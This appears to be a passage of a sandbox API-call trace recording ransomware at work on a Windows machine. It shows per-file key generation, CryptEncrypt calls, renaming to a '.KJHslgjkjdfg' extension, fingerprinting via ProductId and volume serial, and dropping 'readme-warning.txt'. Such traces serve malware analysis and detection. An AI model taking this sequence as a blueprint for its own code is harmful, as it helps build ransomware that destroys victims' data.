FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.289] GetProcessHeap () returned 0x2a0000 [0146.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.290] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.290] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.290] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0146.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.292] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.292] GetProcessHeap () returned 0x2a0000 [0146.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.292] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.292] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.292] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.292] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.292] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.292] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.292] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.292] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.292] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.293] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.293] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.293] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xaa2, lpOverlapped=0x0) returned 1 [0146.293] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xab0, dwBufLen=0xab0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xab0) returned 1 [0146.293] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.293] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xab0, lpOverlapped=0x0) returned 1 [0146.293] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.293] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.293] SetEndOfFile (hFile=0x118) returned 1 [0146.296] GetProcessHeap () returned 0x2a0000 [0146.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.296] GetProcessHeap () returned 0x2a0000 [0146.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.301] CloseHandle (hObject=0x118) returned 1 [0146.301] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.302] GetProcessHeap () returned 0x2a0000 [0146.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.302] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.302] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.302] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.304] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.305] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.305] GetProcessHeap () returned 0x2a0000 [0146.305] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.305] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.305] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.305] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.305] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.305] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.305] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.305] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.305] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.305] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.305] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.305] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.305] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xa90c, lpOverlapped=0x0) returned 1 [0146.307] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa910, dwBufLen=0xa910 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xa910) returned 1 [0146.307] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.307] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xa910, lpOverlapped=0x0) returned 1 [0146.308] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.308] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.308] SetEndOfFile (hFile=0x118) returned 1 [0146.311] GetProcessHeap () returned 0x2a0000 [0146.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.311] GetProcessHeap () returned 0x2a0000 [0146.311] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.311] CloseHandle (hObject=0x118) returned 1 [0146.314] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.314] GetProcessHeap () returned 0x2a0000 [0146.314] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.314] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.314] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.314] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.314] GetProcessHeap () returned 0x2a0000 [0146.314] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.314] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.314] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.314] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.314] GetProcessHeap () returned 0x2a0000 [0146.314] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.314] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.314] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.314] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.314] GetProcessHeap () returned 0x2a0000 [0146.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.315] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.315] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.315] GetProcessHeap () returned 0x2a0000 [0146.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.315] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.315] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.315] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.315] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.315] RegCloseKey (hKey=0x118) returned 0x0 [0146.315] GetProcessHeap () returned 0x2a0000 [0146.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.315] GetProcessHeap () returned 0x2a0000 [0146.315] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.315] GetProcessHeap () returned 0x2a0000 [0146.315] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.315] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.316] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.316] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.316] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.316] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.316] GetProcessHeap () returned 0x2a0000 [0146.316] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.316] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.316] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.316] GetProcessHeap () returned 0x2a0000 [0146.316] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.316] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt") returned 81 [0146.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.317] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.318] CloseHandle (hObject=0x118) returned 1 [0146.318] GetProcessHeap () returned 0x2a0000 [0146.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.318] GetProcessHeap () returned 0x2a0000 [0146.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.318] GetProcessHeap () returned 0x2a0000 [0146.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.318] GetProcessHeap () returned 0x2a0000 [0146.318] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.318] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.319] GetProcessHeap () returned 0x2a0000 [0146.319] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.319] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0146.319] GetProcessHeap () returned 0x2a0000 [0146.319] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0146.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.320] GetProcessHeap () returned 0x2a0000 [0146.321] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.321] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0146.321] GetProcessHeap () returned 0x2a0000 [0146.321] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0146.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.322] GetProcessHeap () returned 0x2a0000 [0146.322] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.322] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.322] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.322] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0146.325] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.325] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.325] GetProcessHeap () returned 0x2a0000 [0146.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0146.325] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0146.325] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.325] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0146.325] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.325] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.325] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.325] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.325] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, 